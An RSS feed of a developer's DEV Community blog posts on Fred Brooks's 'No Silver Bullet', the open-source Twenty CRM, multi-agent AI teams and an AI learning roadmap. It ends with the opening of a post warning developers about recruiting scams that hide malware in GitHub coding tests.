<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Nuri Ensing</title>
    <description>The latest articles on DEV Community by Nuri Ensing (@nuri).</description>
    <link>https://dev.to/nuri</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F908088%2F47a0c88f-3ec1-4540-a182-c6bc6d830225.jpeg</url>
      <title>DEV Community: Nuri Ensing</title>
      <link>https://dev.to/nuri</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/nuri"/>
    <language>en</language>
    <item>
      <title>The silver bullet – why building software is still hard</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Sun, 15 Feb 2026 20:57:12 +0000</pubDate>
      <link>https://dev.to/nuri/the-silver-bullet-why-building-software-is-still-hard-4o6p</link>
      <guid>https://dev.to/nuri/the-silver-bullet-why-building-software-is-still-hard-4o6p</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;"There is no single development, in either technology or management technique, which by itself promises even one order-of-magnitude improvement within a decade in productivity, in reliability, in simplicity."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;~Fred Brooks's No Silver Bullet – Essence and Accident in Software Engineering.&lt;/p&gt;

&lt;p&gt;Imagine it's 1986.&lt;/p&gt;

&lt;p&gt;Software is already hard. Projects run late. Budgets explode. Bugs everywhere. And people are searching for salvation. Some new language. Some new methodology. Some new paradigm that will finally make software easy.&lt;/p&gt;

&lt;p&gt;Then Fred Brooks writes an essay called "No Silver Bullet."&lt;br&gt;
The phrase "silver bullet" comes from folklore. If you're fighting a monster, the silver bullet is the one magical shot that kills it instantly. One clean fix. One perfect solution.&lt;/p&gt;

&lt;p&gt;Brooks says: software has no such bullet.&lt;/p&gt;

&lt;p&gt;That's the whole argument.&lt;/p&gt;

&lt;p&gt;But why?&lt;/p&gt;

&lt;p&gt;He makes a distinction that's subtle and powerful. He separates the work of software into two kinds of difficulty: accidental and essential.&lt;/p&gt;

&lt;p&gt;Accidental difficulty is the friction of the tools. Syntax. Typing. Boilerplate. Memory management. Setting up environments. These are painful, but they're not the true heart of the problem. They're artifacts of the tools we use. Improve the tools, and these pains shrink.&lt;/p&gt;

&lt;p&gt;And over time, they have shrunk. High-level languages replaced assembly. Frameworks replaced repetitive plumbing. IDEs removed much of the mechanical friction. Today AI can draft entire files in seconds. The accidental difficulty keeps getting attacked.&lt;br&gt;
But essential difficulty is different.&lt;/p&gt;

&lt;p&gt;Essential difficulty is the fact that software must precisely model messy reality. Businesses are full of rules that contradict each other. Users behave unpredictably. Requirements change. Edge cases multiply. Every system interacts with other systems. Every abstraction leaks eventually.&lt;/p&gt;

&lt;p&gt;The moment you try to describe a real-world process in exact, logical steps, you discover how tangled it really is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;That's the monster.&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It's not typing speed. It's not syntax. It's clarity of thought.&lt;br&gt;
Brooks argued that no matter how advanced tools become, they cannot eliminate essential complexity. They can only make the mechanics smoother. The core cognitive load remains because it comes from the problem itself.&lt;/p&gt;

&lt;p&gt;Fast forward to today.&lt;/p&gt;

&lt;p&gt;We have AI that writes code. And it's impressive. Boilerplate is nearly free. Repetitive scaffolding is trivial. But notice something: teams still argue about requirements. Systems still fail at the boundaries. Architecture decisions still matter. Trade-offs still exist. Complexity still accumulates.&lt;/p&gt;

&lt;p&gt;We are better armed. The monster is still there.&lt;/p&gt;

&lt;p&gt;This doesn't mean tools don't matter. They matter a lot. But they shift where the bottleneck lives. As mechanical effort decreases, the bottleneck moves upward into design, judgment, and system thinking.&lt;/p&gt;

&lt;p&gt;In a strange way, as coding gets easier, thinking gets more valuable.&lt;/p&gt;

&lt;p&gt;"No Silver Bullet," it's not pessimism. It's intellectual realism. It's a reminder not to confuse faster typing with solved complexity. It's a warning against technological hype cycles that promise miracles.&lt;br&gt;
Software is hard because modeling reality is hard. And reality is messy.&lt;/p&gt;

</description>
      <category>softwaredevelopment</category>
      <category>ai</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Your CRM is Holding Your Data Hostage. It's Time for a Jailbreak.</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Mon, 30 Jun 2025 16:35:21 +0000</pubDate>
      <link>https://dev.to/nuri/your-crm-is-holding-your-data-hostage-its-time-for-a-jailbreak-1p5f</link>
      <guid>https://dev.to/nuri/your-crm-is-holding-your-data-hostage-its-time-for-a-jailbreak-1p5f</guid>
      <description>&lt;h1&gt;
  
  
  Your CRM is Holding Your Data Hostage. It's Time for a Jailbreak.
&lt;/h1&gt;

&lt;p&gt;It was supposed to be your single source of truth. A digital home for every customer interaction, insight, and opportunity. When you first signed up for your CRM, you bought into a promise: a streamlined business, happier customers, and explosive growth.&lt;/p&gt;

&lt;p&gt;But for many businesses, that promise has curdled.&lt;/p&gt;

&lt;p&gt;Your CRM has become less of a home and more of a gilded cage. The monthly bill mysteriously creeps up. The features you need are locked behind a more expensive tier. And the most valuable asset you have — your customer data — doesn't feel like it truly belongs to you. It's trapped in a walled garden, and the landlord keeps raising the rent.&lt;/p&gt;

&lt;p&gt;This isn't a partnership. It's a trap. Most modern CRMs are designed to keep your data siloed, not to serve you better, but to make the thought of leaving a logistical nightmare.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It's time to challenge that model.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  A New Philosophy: Powerful, Open, and Truly Yours
&lt;/h2&gt;

&lt;p&gt;What if your CRM wasn't a recurring bill you had to fight, but a permanent asset you controlled? Imagine a platform built on a different philosophy.&lt;/p&gt;

&lt;p&gt;This is &lt;a href="https://github.com/twentyhq/twenty" rel="noopener noreferrer"&gt;&lt;strong&gt;Twenty&lt;/strong&gt;&lt;/a&gt;, a robust, modern CRM that rewrites the rules. It's built on four key principles:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8j8kgauqrnc6wk47mcik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8j8kgauqrnc6wk47mcik.png" alt="Image description" width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;👑 &lt;strong&gt;True Ownership&lt;/strong&gt;: You can self-host it on your own servers, giving you complete control and sovereignty over your data. It's yours. Really.&lt;/li&gt;
&lt;li&gt;💸 &lt;strong&gt;Transparent Costs&lt;/strong&gt;: The open-source software license is free. Your only costs are for the server you run it on and any maintenance. This means no arbitrary price hikes or paying extra just to export your own information via an API.&lt;/li&gt;
&lt;li&gt;🔗 &lt;strong&gt;Limitless Integration&lt;/strong&gt;: A system should connect seamlessly with your existing tools and workflows, not force you into its closed ecosystem. Because it's open-source, Twenty can be integrated with anything.&lt;/li&gt;
&lt;li&gt;❤️ &lt;strong&gt;Community Power&lt;/strong&gt;: It's backed by a growing open-source community dedicated to building a better, more transparent future for business software.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Your New Superpowers: What You Can Actually Do
&lt;/h2&gt;

&lt;p&gt;Okay, so you own the platform. But is it powerful? Absolutely. Twenty is designed for modern business needs, allowing you to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🎨 &lt;strong&gt;Personalize Layouts&lt;/strong&gt;: Create the exact views you need with advanced filters, sorting, grouping, and dynamic kanban and table views.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kpl3mhs4o8actqo5b9l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kpl3mhs4o8actqo5b9l.png" alt="Image description" width="800" height="577"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;🔧 &lt;strong&gt;Customize Your World&lt;/strong&gt;: Don't let your CRM dictate your process. Customize objects and fields to perfectly match how your business operates.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;🔐 &lt;strong&gt;Manage Permissions with Ease&lt;/strong&gt;: Create and manage custom roles to control precisely who can see and do what across the platform.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;🤖 &lt;strong&gt;Automate Your Workflows&lt;/strong&gt;: Put repetitive tasks on autopilot with powerful triggers and actions, freeing up your team to focus on what matters.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✉️ &lt;strong&gt;Connect Everything&lt;/strong&gt;: Seamlessly manage emails, calendar events, files, notes, and more — all linked to your customer records.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Easy Button: Get Started Without the Headache
&lt;/h2&gt;

&lt;p&gt;The idea of "self-hosting" might sound technical, but it doesn't have to be a barrier. You don't need to be a developer to unlock this freedom.&lt;/p&gt;

&lt;p&gt;An expert team at &lt;strong&gt;&lt;a href="https://teknuro.com" rel="noopener noreferrer"&gt;Teknuro&lt;/a&gt;&lt;/strong&gt; can do it all for you. Teknuro specializes in seamless integrations. They can install your Twenty CRM, migrate your data from your old system, and connect it to other essential tools like your ERP, ensuring a smooth transition.&lt;/p&gt;




&lt;h2&gt;
  
  
  Your Data, Your Rules. Period.
&lt;/h2&gt;

&lt;p&gt;Stop renting your customer relationships. It's time to own them. An open-source CRM ecosystem gives you the freedom to build processes that fit your business — not the other way around.&lt;/p&gt;

</description>
      <category>crm</category>
      <category>opensource</category>
    </item>
    <item>
      <title>AI TEAMS An Introduction</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Thu, 09 Jan 2025 21:13:53 +0000</pubDate>
      <link>https://dev.to/nuri/ai-teams-an-introduction-3fl</link>
      <guid>https://dev.to/nuri/ai-teams-an-introduction-3fl</guid>
      <description>&lt;p&gt;&lt;em&gt;AI Teams are groups of agents designed to handle tasks or projects more efficiently.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Are AI Agent Teams?
&lt;/h3&gt;

&lt;p&gt;AI Agent Teams are groups of specialized AI-powered software programs, each designed to handle a specific task, working together to achieve a common goal. These agents operate autonomously using AI, allowing them to perform tasks independently, make decisions, and adapt to changing situations.&lt;/p&gt;

&lt;p&gt;Rather than relying on one AI system to manage everything, these teams divide complex projects into smaller, focused roles. Each agent specializes in its area of expertise, contributing efficiently to the overall objective. This division of labor enhances teamwork, accelerates problem-solving, and improves the accuracy and efficiency of completing tasks.&lt;/p&gt;

&lt;p&gt;AI Agent Teams showcase the power of collaboration among intelligent systems, making them valuable in industries like business automation, healthcare, logistics, and more.&lt;/p&gt;




&lt;h3&gt;
  
  
  Example: Customer Support AI Team
&lt;/h3&gt;

&lt;p&gt;A company can create an AI Team made up of specialized agents to handle customer support efficiently:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Chatbot Agent&lt;/strong&gt;: Responds to FAQs, such as order status or return policies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sentiment Analysis Agent&lt;/strong&gt;: Monitors customer emotions during interactions and escalates to a human if frustration is detected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Issue Resolution Agent&lt;/strong&gt;: Automatically processes common requests, like resetting passwords or updating account details.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Feedback Analysis Agent&lt;/strong&gt;: Analyzes post-interaction surveys to identify areas for improvement.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This AI Team works together to provide seamless, fast, and accurate customer support while reducing human workload.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why They Matter
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Efficiency&lt;/strong&gt;: By delegating tasks to specialized AI agents, your team can produce outputs faster and more accurately.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: As your workflow grows more complicated, it’s easy to add or modify agent roles.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Versatility&lt;/strong&gt;: AI Agent Teams can be applied to virtually any domain, from content creation and data analysis to enterprise integrations.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Business vs. Developer Perspective
&lt;/h2&gt;

&lt;h3&gt;
  
  
  For Business Stakeholders
&lt;/h3&gt;

&lt;p&gt;AI Agent Teams optimize resources, speed up product/service delivery, and reduce operational costs.&lt;/p&gt;

&lt;h3&gt;
  
  
  For Developers
&lt;/h3&gt;

&lt;p&gt;From an engineering standpoint, teams of agents provide a scalable way to break down tasks, implement modular code structures, and enable advanced automation.  &lt;/p&gt;

&lt;p&gt;With AI Agent Teams, you can automate repetitive processes, create cohesive project workflows, and free human talent to focus on higher-level decision-making.&lt;/p&gt;




&lt;h2&gt;
  
  
  Business Value
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Cost Reduction and ROI
&lt;/h3&gt;

&lt;p&gt;Automating repetitive or highly specialized tasks reduces hiring costs. AI agents work continuously and consistently, delivering a strong return on investment (ROI).  &lt;/p&gt;

&lt;h3&gt;
  
  
  2. Accelerated Project Timelines
&lt;/h3&gt;

&lt;p&gt;AI Agent Teams parallelize tasks, speeding up project delivery.  &lt;/p&gt;

&lt;h3&gt;
  
  
  3. Risk Mitigation
&lt;/h3&gt;

&lt;p&gt;Splitting tasks among specialized agents reduces the risk of errors and improves overall accuracy.  &lt;/p&gt;

&lt;h3&gt;
  
  
  4. Alignment with Strategy
&lt;/h3&gt;

&lt;p&gt;AI agents adapt to strategic objectives and integrate seamlessly with platforms like Celigo for data synchronization.&lt;/p&gt;




&lt;h2&gt;
  
  
  Foundational Principles
&lt;/h2&gt;

&lt;p&gt;These core elements ensure AI teams function smoothly and efficiently:  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Specialization&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Description&lt;/strong&gt;: Each agent is optimized for a specific role.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why It Matters&lt;/strong&gt;: Results in high performance and focused expertise.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Collaboration&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Description&lt;/strong&gt;: Agents share data and align efforts seamlessly.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why It Matters&lt;/strong&gt;: Produces a cohesive, polished output.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Task Management&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Description&lt;/strong&gt;: Tasks are broken down and assigned to the best-suited agent.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why It Matters&lt;/strong&gt;: Boosts efficiency and prevents overload.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Workflow Orchestration&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Description&lt;/strong&gt;: Ensures tasks are executed in sequence.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why It Matters&lt;/strong&gt;: Prevents bottlenecks and ensures smooth execution.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Learning and Adaptation&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Description&lt;/strong&gt;: Agents evolve through continuous learning.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why It Matters&lt;/strong&gt;: Enables long-term growth and adaptability.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  From Single AI to Agent Teams
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Single-Agent Systems
&lt;/h3&gt;

&lt;p&gt;Traditional systems rely on one AI to manage everything, which can become a bottleneck in complex workflows.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Multi-Agent Systems
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Division of Labor&lt;/strong&gt;: Break tasks into smaller chunks.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Improved Parallelism&lt;/strong&gt;: Agents work simultaneously, reducing execution time.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Collaboration in Detail
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How Agents Communicate
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shared Memory/Databases&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Message Passing&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;APIs&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Ensuring Alignment
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Communication Protocols&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regular Check-ins&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conflict Resolution&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Task Management and Workflow Orchestration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Task Breakdown
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Identify large goals.
&lt;/li&gt;
&lt;li&gt;Segment into sub-tasks.
&lt;/li&gt;
&lt;li&gt;Assign agents.
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Orchestration Engines
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Monitor tasks and dependencies.
&lt;/li&gt;
&lt;li&gt;Handle reassignment and progress tracking.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Learning and Adaptation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Continual Learning
&lt;/h3&gt;

&lt;p&gt;Agents evolve by updating their knowledge and refining their strategies.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Human-in-the-Loop
&lt;/h3&gt;

&lt;p&gt;Human feedback enables iterative improvement over time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;AI Agent Teams revolutionize workflows by automating tasks with efficiency and scalability.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Future Outlook
&lt;/h3&gt;

&lt;p&gt;As AI evolves, expect more autonomous teams capable of advanced problem-solving.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Contact me at LinkedIn&lt;/strong&gt;: &lt;a href="https://www.linkedin.com/in/nuri-ensing/" rel="noopener noreferrer"&gt;Nuri Ensing&lt;/a&gt;  &lt;/p&gt;

</description>
    </item>
    <item>
      <title>Master AI in 2025</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Thu, 09 Jan 2025 19:43:55 +0000</pubDate>
      <link>https://dev.to/nuri/master-ai-in-2025-3na6</link>
      <guid>https://dev.to/nuri/master-ai-in-2025-3na6</guid>
      <description>&lt;p&gt;AI is evolving faster than ever, and staying ahead in this dynamic field requires continuous learning. Whether you’re just starting out or aiming to specialize in advanced systems, this blog outlines a structured roadmap to help you navigate the vast landscape of AI and achieve mastery. Let’s dive in!&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1: Build Strong Foundations (For Beginners)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The first step in mastering AI is understanding &lt;strong&gt;Prompt Engineering&lt;/strong&gt;. This essential skill helps you interact effectively with AI models like ChatGPT and other large language models (LLMs). Whether you want to automate tasks or create engaging chatbots, prompt engineering is your gateway to working with AI systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start Here:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://explore.skillbuilder.aws/learn/course/external/view/elearning/17763/foundations-of-prompt-engineering" rel="noopener noreferrer"&gt;Foundations of Prompt Engineering by AWS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why This Matters:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Prompt engineering equips you with the ability to guide AI to produce desired outcomes, making it a fundamental skill for all AI applications.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2: Explore AI Frameworks (For Intermediate Learners)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Once you’ve mastered the basics, it’s time to explore &lt;strong&gt;AI frameworks&lt;/strong&gt; like LangChain and LangGraph. These tools allow you to build intelligent applications, automate workflows, and create sophisticated AI-powered systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start Here:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://academy.langchain.com/courses/intro-to-langgraph" rel="noopener noreferrer"&gt;Introduction to LangGraph by LangChain&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why This Matters:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Frameworks like LangChain simplify the process of integrating AI into real-world applications, making them invaluable for developers and tech enthusiasts.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3: Master AI Agents (For Advanced Beginners and Up)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;AI agents are systems capable of autonomously performing tasks. They’re central to automation and multi-agent systems, which are rapidly gaining traction across industries. Understanding how to build and manage these agents is a critical step in advancing your AI expertise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start Here:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.deeplearning.ai/short-courses/multi-ai-agent-systems-with-crewai/" rel="noopener noreferrer"&gt;Multi-AI Agent Systems with CrewaI&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.deeplearning.ai/short-courses/building-agentic-rag-with-llamaindex/" rel="noopener noreferrer"&gt;Building Agentic RAG with LlamaIndex&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why This Matters:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Mastering AI agents empowers you to design systems that think, plan, and act autonomously, opening doors to innovative solutions in business and technology.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4: Plan Your AI Career (For All Levels)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;If you’re feeling unsure about how to navigate the AI landscape, an AI career roadmap is your guide. It provides a step-by-step plan for mastering AI skills and building real-world applications, whether you’re a student, developer, or seasoned professional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start Here:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://roadmap.sh/ai-engineer" rel="noopener noreferrer"&gt;AI Engineer Roadmap&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why This Matters:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A clear roadmap helps you focus your efforts on high-impact skills and technologies, saving time and ensuring steady progress.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 5: Deep Dive Into Advanced Topics (For Experts)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Ready to specialize? Delve into advanced frameworks and documentation to explore complex use cases. Resources like &lt;strong&gt;LlamaIndex&lt;/strong&gt; and &lt;strong&gt;LangChain Cookbook&lt;/strong&gt; offer practical insights into developing high-level AI solutions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start Here:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://docs.llamaindex.ai/en/stable/use_cases/agents/" rel="noopener noreferrer"&gt;LlamaIndex Use Cases&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/langchain-ai/langchain/tree/master/cookbook" rel="noopener noreferrer"&gt;LangChain Cookbook&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why This Matters:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Advanced topics allow you to tackle unique challenges, innovate, and lead in specialized AI fields.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;How to Choose Your Path&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Beginner?&lt;/strong&gt; Start with &lt;strong&gt;Prompt Engineering&lt;/strong&gt; to build a strong foundation.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interested in frameworks?&lt;/strong&gt; Dive into LangChain and LangGraph to explore their applications.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Looking to build applications?&lt;/strong&gt; Learn about &lt;strong&gt;AI agents&lt;/strong&gt; and multi-agent systems.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Want a clear path?&lt;/strong&gt; Follow the &lt;strong&gt;AI Engineer Roadmap&lt;/strong&gt; to structure your learning.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ready to specialize?&lt;/strong&gt; Focus on &lt;strong&gt;advanced documentation and frameworks&lt;/strong&gt; to deepen your expertise.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Why Learn AI in 2025?&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;AI is shaping the future of technology, business, and innovation. By mastering these subjects, you’ll gain the tools to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Build cutting-edge solutions.
&lt;/li&gt;
&lt;li&gt;Automate processes and improve efficiency.
&lt;/li&gt;
&lt;li&gt;Unlock new career opportunities in the thriving AI ecosystem.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The best time to start your AI journey is now! With the right resources and a clear path, you can achieve your goals and contribute to the exciting world of AI.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Ready to Begin?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Pick a resource from the list above and take the first step toward mastering AI. The future is waiting for you! 🌟&lt;/p&gt;

&lt;h1&gt;
  
  
  AI #LearningPath #PromptEngineering #AIInnovation
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>security</category>
      <category>react</category>
      <category>career</category>
    </item>
    <item>
      <title>⚠️ Modern Scamming Exposed</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Sun, 05 Jan 2025 01:29:37 +0000</pubDate>
      <link>https://dev.to/nuri/the-new-era-of-exe-haxhow-github-repos-became-the-modern-day-trojan-horses-1hkh</link>
      <guid>https://dev.to/nuri/the-new-era-of-exe-haxhow-github-repos-became-the-modern-day-trojan-horses-1hkh</guid>
      <description>&lt;p&gt;&lt;strong&gt;How GitHub Repositories Became the Modern-Day Trojan Horses&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Introduction&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;In today's digital world, scams are evolving as quickly as the technologies they target. Everyone remembers the infected &lt;code&gt;.EXE&lt;/code&gt; files or the painfully obvious phishing emails. But these days, scams have become far more sophisticated, hiding in other places — like GitHub repositories, where developers are directly targeted. In this post, I'll share my personal experience with a Web3 coding test scam and help you hopefully recognize the warning signs.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;The Invitation&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Like many remote gigs, it all started with a friendly message in my LinkedIn inbox:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Hello, Nuri&lt;br&gt;&lt;br&gt;
Happy New Year!&lt;br&gt;&lt;br&gt;
I'm leading an exciting blockchain project with great earning potential. I'd love to discuss how your skills could fit. Reply here to explore further.&lt;br&gt;&lt;br&gt;
Best regards,&lt;br&gt;&lt;br&gt;
Tim"&lt;/p&gt;
&lt;/blockquote&gt;

